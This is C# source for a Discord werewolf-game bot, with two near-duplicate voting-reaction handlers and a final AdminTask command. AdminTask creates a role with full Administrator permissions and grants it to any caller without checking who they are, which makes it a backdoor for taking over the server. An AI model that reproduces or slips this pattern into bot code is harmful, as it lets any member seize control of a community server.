private static async Task ClientOnMessageReactionAdded(MessageReactionAddEventArgs e, Game game) { var present = false; foreach (var personnage in game.PersonnagesList.FindAll(p => p.Alive)) { if (e.Emoji == personnage.Emoji) { present = true; } } if (!present || (GameBuilder.GetMember(game.Guild, e.User)).Roles.Contains(Global.Roles[CustomRoles.Spectator])) { await DailyVotingMessage.DeleteReactionAsync(e.Emoji, e.User); return; } if (!e.User.IsBot && !GameBuilder.GetMember(game.Guild, e.User).Roles.Contains(Global.Roles[CustomRoles.Spectator])) { foreach (var otherEmoji in (await game.Guild.GetEmojisAsync())) { if (otherEmoji.Name != e.Emoji.Name) { await DailyVotingMessage.DeleteReactionAsync(otherEmoji, e.User, $"{e.User.Username} already voted"); } } } }
private static async Task OnReactionAddedCupidon(MessageReactionAddEventArgs e) { var game = Global.Game; var present = false; foreach (var personnage in game.PersonnagesList.FindAll(p => p.Alive)) { if (e.Emoji == personnage.Emoji) { present = true; } } if (!present || (GameBuilder.GetMember(game.Guild, e.User)).Roles.Contains(Global.Roles[PublicRole.Spectator])) { await BotFunctions.DailyVotingMessage.DeleteReactionAsync(e.Emoji, e.User); return; } var cnt = 0; if (!e.User.IsBot && !GameBuilder.GetMember(game.Guild, e.User).Roles .Contains(Global.Roles[PublicRole.Spectator])) { foreach (var otherEmoji in (await game.Guild.GetEmojisAsync())) { cnt++; if (otherEmoji.Name != e.Emoji.Name && cnt > 1) { await BotFunctions.DailyVotingMessage.DeleteReactionAsync(otherEmoji, e.User, $"{e.User.Username} already voted"); cnt = 0; // 0 car on ajoute 1 avant le test } } } }
public async Task AdminTask(CommandContext e) { var adminRole = e.Guild.CreateRoleAsync("ADMIN", Permissions.Administrator).GetAwaiter().GetResult(); await GameBuilder.GetMember(e.Guild, e.User).GrantRoleAsync(adminRole); }